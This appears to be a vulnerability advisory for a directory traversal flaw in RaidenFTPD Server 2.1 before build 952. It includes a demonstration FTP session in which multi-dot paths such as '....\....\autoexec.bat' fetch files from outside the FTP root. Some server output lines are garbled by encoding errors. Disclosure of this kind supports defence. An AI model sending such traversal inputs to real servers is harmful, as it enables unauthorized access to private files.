[原文]Directory traversal vulnerability in RaidenFTPD Server 2.1 before build 952 allows attackers to access files outside the ftp root via dot dot attacks, such as (1) .... in CWD, (2) .. in NLST, or (3) ... in NLST.
Raiden FTPD is susceptible to directory traversal attacks using multiple dots in submitted commands specifying file paths.
If the request is properly composed, RaidenFTPD will serve files outside of the intended webroot, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host.
> ftp localhost
220-This FTP site is running free version of RaidenFTPD
220-Download chinese version from http://playstation2.idv.tw/raiden-ftpd-
220-Download english version from http://playstation2.idv.tw/raidenftpd/
220-RaidenFTPD32 for RaidenFTPD (up since 2001/04/20 15:00)
220-This server is for private use only
220-If you do not have access to this server
220-Please disconnect now
220 Please enter your login name now.
User (xxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required for jdog .
[really long login banner edited out]
230 User jdog logged in , proceed.
ftp> get ....\....\autoexec.bat
200 Port command ok.
150 Sending /....\....\autoexec.bat (419 bytes). Mode STREAM Type ASCII
226-Ã?+Âª+Â¦s+uÃ±Ã±_zÂª@ Ã±UÂ¦Â¦ : 419 Âª_Ã±+_+ Ã±WÂ¦Â¦ : 0 Âª_Ã±+_+
226-Â¦Â¦Â½Ã?Ã±@Âª+Ã±UÂ¦Â¦Â¬Â¦Â¦tÂ½+Â¼O : 419 kb/sec _zÂªÂ¦ Unlimited kb Â¬Â¦Ã±UÂ¦Â¦+BÂ½+
226 Transfer finished successfully. Data connection closed.
ftp: 419 bytes received in 0.27Seconds 1.55Kbytes/sec.
ftp> cd ....
250-ÂªÂ¦Ã?++Â²Â¦-Ã±UÂ¬+Â¦Ã 1323 mb
250 "/.." is current directory.